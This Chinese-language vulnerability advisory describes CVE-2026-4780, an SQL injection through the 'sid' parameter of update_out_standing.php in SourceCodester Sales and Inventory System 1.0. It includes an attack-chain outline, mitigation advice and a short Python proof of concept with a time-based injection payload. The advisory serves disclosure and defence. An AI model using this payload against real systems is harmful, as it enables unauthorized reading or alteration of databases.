IPBUF安全漏洞报告
English
CVE-2026-4780 CVSS 6.3 中危

CVE-2026-4780 SourceCodester销售库存系统SQL注入漏洞

披露日期: 2026-03-25

漏洞信息

漏洞编号
CVE-2026-4780
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Sales and Inventory System

相关标签

SQL注入SourceCodesterWeb安全CVE-2026-4780

漏洞概述

SourceCodester Sales and Inventory System 1.0版本存在SQL注入漏洞。该漏洞位于update_out_standing.php文件中,由于对HTTP GET参数sid的处理不当,导致攻击者可以通过构造恶意SQL语句进行远程攻击。攻击者需具备低权限账户且无需用户交互即可利用此漏洞,可能造成数据泄露、篡改或系统服务受损。

技术细节

该漏洞源于SourceCodester Sales and Inventory System 1.0在处理HTTP GET请求时未对用户输入进行充分的过滤或转义。具体来说,在文件update_out_standing.php中,参数sid被直接拼接到SQL查询语句中执行。由于缺乏有效的输入验证机制,攻击者可以通过发送包含特定SQL元字符(如单引号、注释符等)的请求,篡改原始查询逻辑。这可能导致绕过认证、未经授权的数据读取、修改或删除数据库中的敏感信息。根据CVSS 3.1评分,该漏洞攻击复杂度低,且可远程利用。

攻击链分析

STEP 1
侦察
识别运行SourceCodester Sales and Inventory System 1.0的目标服务器。
STEP 2
构造攻击
针对update_out_standing.php文件,在sid参数中注入恶意SQL代码。
STEP 3
发送请求
攻击者向服务器发送包含恶意payload的HTTP GET请求。
STEP 4
执行注入
服务器后端数据库解析并执行了恶意SQL语句。
STEP 5
获取权限
攻击者利用SQL注入获取敏感信息或修改数据库内容。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # POC for CVE-2026-4780 # The vulnerability is in 'update_out_standing.php' via the 'sid' parameter. target_url = "http://target.com/update_out_standing.php" payload = "1' AND SLEEP(5)-- -" params = { "sid": payload } try: response = requests.get(target_url, params=params, timeout=10) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability detected: SQL Injection") else: print("[-] Vulnerability not detected or payload incorrect.") except Exception as e: print(f"Error: {e}")

影响范围

SourceCodester Sales and Inventory System 1.0

防御指南

临时缓解措施
建议立即配置Web应用防火墙(WAF)规则,拦截针对update_out_standing.php接口的异常SQL请求。同时,限制数据库账户权限,避免使用高权限账户连接数据库,并定期审计系统日志以检测潜在的入侵行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表